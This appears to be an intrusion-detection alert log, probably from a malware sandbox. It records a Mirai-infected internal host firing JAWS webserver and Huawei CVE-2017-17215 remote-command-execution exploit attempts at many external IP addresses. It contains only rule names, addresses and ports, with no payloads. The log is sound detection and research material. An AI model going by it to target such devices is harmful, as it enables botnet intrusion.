2024-12-03T22:12:31.284663+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	40742	174.134.130.50	80	TCP
2024-12-03T22:12:31.284663+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	40742	174.134.130.50	80	TCP
2024-12-03T22:12:31.299581+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	36178	168.51.234.32	80	TCP
2024-12-03T22:12:31.299581+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	36178	168.51.234.32	80	TCP
2024-12-03T22:12:31.330943+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	53838	185.190.30.181	80	TCP
2024-12-03T22:12:31.330943+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	53838	185.190.30.181	80	TCP
2024-12-03T22:12:31.347068+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	56294	175.98.212.140	80	TCP
2024-12-03T22:12:31.347068+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	56294	175.98.212.140	80	TCP
2024-12-03T22:12:31.347148+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	33852	70.227.246.43	80	TCP
2024-12-03T22:12:31.347148+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	33852	70.227.246.43	80	TCP
2024-12-03T22:12:31.368465+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	48762	114.57.228.38	80	TCP
2024-12-03T22:12:31.368465+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	48762	114.57.228.38	80	TCP
2024-12-03T22:12:31.368553+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	56970	34.170.91.153	80	TCP
2024-12-03T22:12:31.368553+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	56970	34.170.91.153	80	TCP
2024-12-03T22:12:31.384157+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	45980	193.83.93.209	80	TCP
2024-12-03T22:12:31.384157+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	45980	193.83.93.209	80	TCP
2024-12-03T22:12:31.384277+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	49774	41.21.161.87	37215	TCP
2024-12-03T22:12:31.393409+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	32928	223.149.84.48	80	TCP
2024-12-03T22:12:31.393409+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	32928	223.149.84.48	80	TCP
2024-12-03T22:12:31.399884+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	52116	43.89.86.51	80	TCP
2024-12-03T22:12:31.399884+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	52116	43.89.86.51	80	TCP
2024-12-03T22:12:31.408922+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	54602	210.208.127.194	80	TCP
2024-12-03T22:12:31.408922+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	54602	210.208.127.194	80	TCP
2024-12-03T22:12:31.424510+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	39712	25.248.88.24	80	TCP
2024-12-03T22:12:31.424510+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	39712	25.248.88.24	80	TCP
2024-12-03T22:12:31.441512+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38670	99.43.164.123	80	TCP
2024-12-03T22:12:31.441512+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	38670	99.43.164.123	80	TCP
2024-12-03T22:12:31.455866+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	49702	19.103.126.91	80	TCP
2024-12-03T22:12:31.455866+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	49702	19.103.126.91	80	TCP
2024-12-03T22:12:31.471607+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	41970	167.144.58.12	80	TCP
2024-12-03T22:12:31.471607+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	41970	167.144.58.12	80	TCP
2024-12-03T22:12:31.471679+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	50588	210.93.135.164	80	TCP
2024-12-03T22:12:31.471679+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	50588	210.93.135.164	80	TCP
2024-12-03T22:12:32.173565+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	56950	177.36.9.9	80	TCP
2024-12-03T22:12:32.173565+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	56950	177.36.9.9	80	TCP
2024-12-03T22:12:32.370596+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	41634	41.40.58.21	37215	TCP
2024-12-03T22:12:32.378208+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	59118	41.2.149.180	37215	TCP
2024-12-03T22:12:32.378209+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	53480	41.209.69.163	37215	TCP
2024-12-03T22:12:32.378518+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	49792	41.222.91.171	37215	TCP
2024-12-03T22:12:32.384296+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	43320	41.232.166.27	37215	TCP
2024-12-03T22:12:32.393514+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	55598	156.251.55.108	37215	TCP
2024-12-03T22:12:32.462365+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	47908	199.10.215.131	80	TCP
2024-12-03T22:12:32.462365+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	47908	199.10.215.131	80	TCP
2024-12-03T22:12:32.462479+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43010	24.146.139.237	80	TCP
2024-12-03T22:12:32.462479+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43010	24.146.139.237	80	TCP
2024-12-03T22:12:32.487241+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	47514	34.151.131.73	80	TCP
2024-12-03T22:12:32.487241+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	47514	34.151.131.73	80	TCP
2024-12-03T22:12:32.487283+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	47988	41.189.152.87	37215	TCP
2024-12-03T22:12:32.603283+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	50942	197.188.18.246	37215	TCP
2024-12-03T22:12:32.643548+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	53872	156.39.27.214	37215	TCP
2024-12-03T22:12:33.509376+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	45546	156.141.55.17	37215	TCP
2024-12-03T22:12:33.518446+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	41370	156.209.29.102	37215	TCP
2024-12-03T22:12:33.518500+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	39918	41.216.92.8	37215	TCP
2024-12-03T22:12:33.518551+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	48748	197.203.132.204	37215	TCP
2024-12-03T22:12:33.518852+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	44746	156.53.168.115	37215	TCP
2024-12-03T22:12:33.519044+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	34972	197.34.169.177	37215	TCP
2024-12-03T22:12:33.540604+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	54152	41.86.201.30	37215	TCP
2024-12-03T22:12:33.587344+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	56028	197.197.195.18	37215	TCP
2024-12-03T22:12:33.602887+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	33700	156.125.28.150	37215	TCP
2024-12-03T22:12:33.603093+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	51698	156.33.5.93	37215	TCP
2024-12-03T22:12:33.603198+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	40480	197.38.121.183	37215	TCP
2024-12-03T22:12:33.618441+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	38016	41.83.173.218	37215	TCP
2024-12-03T22:12:33.618702+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	45340	41.211.241.205	37215	TCP
2024-12-03T22:12:33.618828+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	55734	41.83.241.14	37215	TCP
2024-12-03T22:12:33.634149+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	37356	197.94.173.95	37215	TCP
2024-12-03T22:12:33.634361+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	48856	197.35.230.211	37215	TCP
2024-12-03T22:12:33.634456+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	47706	197.223.98.84	37215	TCP
2024-12-03T22:12:33.634494+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	42464	41.32.215.2	37215	TCP
2024-12-03T22:12:33.634587+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	49632	41.76.78.102	37215	TCP
2024-12-03T22:12:33.643606+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	39932	156.154.95.190	37215	TCP
2024-12-03T22:12:33.665592+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	45752	41.199.223.27	37215	TCP
2024-12-03T22:12:33.665592+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	56162	197.2.177.200	37215	TCP
2024-12-03T22:12:33.665711+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	33708	197.201.26.192	37215	TCP
2024-12-03T22:12:33.665833+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	59150	41.98.197.187	37215	TCP
2024-12-03T22:12:33.675113+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	36550	197.6.81.184	37215	TCP
2024-12-03T22:12:33.690263+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	50302	41.108.207.253	37215	TCP
2024-12-03T22:12:33.690327+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	57556	41.27.179.183	37215	TCP
2024-12-03T22:12:33.705983+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	36448	197.247.255.178	37215	TCP
2024-12-03T22:12:33.721624+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	58654	156.249.197.84	37215	TCP
2024-12-03T22:12:33.721824+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	57880	197.222.114.211	37215	TCP
2024-12-03T22:12:33.869226+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	37926	41.58.92.0	37215	TCP
2024-12-03T22:12:33.884463+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	48828	156.85.236.7	37215	TCP
2024-12-03T22:12:33.884661+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	41698	41.8.202.219	37215	TCP
2024-12-03T22:12:33.925006+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	34470	41.87.246.50	37215	TCP
2024-12-03T22:12:33.940645+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	40638	156.59.95.32	37215	TCP
2024-12-03T22:12:34.237702+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	59198	212.224.95.74	80	TCP
2024-12-03T22:12:34.237702+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	59198	212.224.95.74	80	TCP
2024-12-03T22:12:34.471691+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38942	222.202.121.131	80	TCP
2024-12-03T22:12:34.471691+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	38942	222.202.121.131	80	TCP
2024-12-03T22:12:34.505259+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	52258	43.206.114.16	80	TCP
2024-12-03T22:12:34.505259+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	52258	43.206.114.16	80	TCP
2024-12-03T22:12:34.518491+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	37014	99.118.162.209	80	TCP
2024-12-03T22:12:34.518491+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	37014	99.118.162.209	80	TCP
2024-12-03T22:12:34.665460+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	46932	83.165.26.124	80	TCP
2024-12-03T22:12:34.665460+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	46932	83.165.26.124	80	TCP
2024-12-03T22:12:34.665564+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	59822	179.123.42.231	80	TCP
2024-12-03T22:12:34.665564+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	59822	179.123.42.231	80	TCP
2024-12-03T22:12:34.665663+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	51640	25.145.90.5	80	TCP
2024-12-03T22:12:34.665663+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	51640	25.145.90.5	80	TCP
2024-12-03T22:12:34.753202+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	47324	63.248.69.38	80	TCP
2024-12-03T22:12:34.753202+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	47324	63.248.69.38	80	TCP
2024-12-03T22:12:34.753269+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	58070	183.183.193.220	80	TCP
2024-12-03T22:12:34.753269+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	58070	183.183.193.220	80	TCP
2024-12-03T22:12:34.768451+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	33050	109.190.238.125	80	TCP
2024-12-03T22:12:34.768451+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	33050	109.190.238.125	80	TCP
2024-12-03T22:12:34.931032+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	53680	105.173.111.20	80	TCP
2024-12-03T22:12:34.931032+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	53680	105.173.111.20	80	TCP
2024-12-03T22:12:34.940391+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	53236	205.178.60.182	80	TCP
2024-12-03T22:12:34.940391+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	53236	205.178.60.182	80	TCP
2024-12-03T22:12:35.697011+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	53588	209.255.255.71	80	TCP
2024-12-03T22:12:35.697011+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	53588	209.255.255.71	80	TCP
2024-12-03T22:12:35.697012+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	45170	99.142.174.106	80	TCP
2024-12-03T22:12:35.697012+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	45170	99.142.174.106	80	TCP
2024-12-03T22:12:35.697014+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	58164	222.42.182.202	80	TCP
2024-12-03T22:12:35.697014+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	58164	222.42.182.202	80	TCP
2024-12-03T22:12:35.697166+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	49714	25.173.49.221	80	TCP
2024-12-03T22:12:35.697166+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	49714	25.173.49.221	80	TCP
2024-12-03T22:12:35.712389+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	56818	17.75.225.179	80	TCP
2024-12-03T22:12:35.712389+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	56818	17.75.225.179	80	TCP
2024-12-03T22:12:35.712394+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	57850	53.219.113.155	80	TCP
2024-12-03T22:12:35.712394+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	57850	53.219.113.155	80	TCP
2024-12-03T22:12:35.712460+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	36190	123.199.13.10	80	TCP
2024-12-03T22:12:35.712460+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	36190	123.199.13.10	80	TCP
2024-12-03T22:12:35.712579+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	32976	218.226.27.125	80	TCP
2024-12-03T22:12:35.712579+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	32976	218.226.27.125	80	TCP
2024-12-03T22:12:35.712657+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	59596	188.3.37.77	80	TCP
2024-12-03T22:12:35.712657+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	59596	188.3.37.77	80	TCP
2024-12-03T22:12:35.721605+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	51434	181.181.3.222	80	TCP
2024-12-03T22:12:35.721605+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	51434	181.181.3.222	80	TCP
2024-12-03T22:12:35.728013+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	37230	173.3.131.101	80	TCP
2024-12-03T22:12:35.728013+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	37230	173.3.131.101	80	TCP
2024-12-03T22:12:35.728129+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	47194	83.17.31.177	80	TCP
2024-12-03T22:12:35.728129+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	47194	83.17.31.177	80	TCP
2024-12-03T22:12:35.737208+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	33024	1.69.72.110	80	TCP
2024-12-03T22:12:35.737208+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	33024	1.69.72.110	80	TCP
2024-12-03T22:12:35.737330+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	47134	185.160.80.188	80	TCP
2024-12-03T22:12:35.737330+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	47134	185.160.80.188	80	TCP
2024-12-03T22:12:35.737399+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	32858	31.96.123.201	80	TCP
2024-12-03T22:12:35.737399+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	32858	31.96.123.201	80	TCP
2024-12-03T22:12:35.737461+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	37490	40.215.248.1	80	TCP
2024-12-03T22:12:35.737461+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	37490	40.215.248.1	80	TCP
2024-12-03T22:12:35.743474+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	50478	23.142.231.90	80	TCP
2024-12-03T22:12:35.743474+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	50478	23.142.231.90	80	TCP
2024-12-03T22:12:35.743621+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	57978	77.38.210.43	80	TCP
2024-12-03T22:12:35.743621+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	57978	77.38.210.43	80	TCP
2024-12-03T22:12:35.743754+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	42316	124.230.130.67	80	TCP
2024-12-03T22:12:35.743754+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	42316	124.230.130.67	80	TCP
2024-12-03T22:12:35.743926+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	42316	106.50.27.35	80	TCP
2024-12-03T22:12:35.743926+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	42316	106.50.27.35	80	TCP
2024-12-03T22:12:35.744034+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	47132	151.221.253.153	80	TCP
2024-12-03T22:12:35.744034+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	47132	151.221.253.153	80	TCP
2024-12-03T22:12:35.744198+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	54750	212.161.216.184	80	TCP
2024-12-03T22:12:35.744198+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	54750	212.161.216.184	80	TCP
2024-12-03T22:12:35.752993+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38114	157.190.96.161	80	TCP
2024-12-03T22:12:35.752993+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	38114	157.190.96.161	80	TCP
2024-12-03T22:12:35.753473+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	60832	157.30.99.204	80	TCP
2024-12-03T22:12:35.753473+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	60832	157.30.99.204	80	TCP
2024-12-03T22:12:35.753590+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	60000	44.21.209.76	80	TCP
2024-12-03T22:12:35.753590+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	60000	44.21.209.76	80	TCP
2024-12-03T22:12:35.760259+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38436	65.252.41.72	80	TCP
2024-12-03T22:12:35.760259+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	38436	65.252.41.72	80	TCP
2024-12-03T22:12:35.760315+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	56254	113.229.88.108	80	TCP
2024-12-03T22:12:35.760315+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	56254	113.229.88.108	80	TCP
2024-12-03T22:12:35.768662+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	50320	175.89.19.54	80	TCP
2024-12-03T22:12:35.768662+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	50320	175.89.19.54	80	TCP
2024-12-03T22:12:35.768788+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	35708	81.70.123.74	80	TCP
2024-12-03T22:12:35.768788+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	35708	81.70.123.74	80	TCP
2024-12-03T22:12:35.769005+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	39850	63.191.88.102	80	TCP
2024-12-03T22:12:35.769005+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	39850	63.191.88.102	80	TCP
2024-12-03T22:12:35.769097+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	59458	81.134.156.238	80	TCP
2024-12-03T22:12:35.769097+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	59458	81.134.156.238	80	TCP
2024-12-03T22:12:35.769228+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	37914	133.86.176.129	80	TCP
2024-12-03T22:12:35.769228+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	37914	133.86.176.129	80	TCP
2024-12-03T22:12:35.769357+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	40166	12.245.71.82	80	TCP
2024-12-03T22:12:35.769357+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	40166	12.245.71.82	80	TCP
2024-12-03T22:12:35.769528+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	52226	112.107.109.30	80	TCP
2024-12-03T22:12:35.769528+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	52226	112.107.109.30	80	TCP
2024-12-03T22:12:35.769865+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	53168	109.141.55.148	80	TCP
2024-12-03T22:12:35.769865+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	53168	109.141.55.148	80	TCP
2024-12-03T22:12:35.770068+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	41694	96.11.113.153	80	TCP
2024-12-03T22:12:35.770068+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	41694	96.11.113.153	80	TCP
2024-12-03T22:12:35.770072+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	34782	95.200.33.137	80	TCP
2024-12-03T22:12:35.770072+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	34782	95.200.33.137	80	TCP
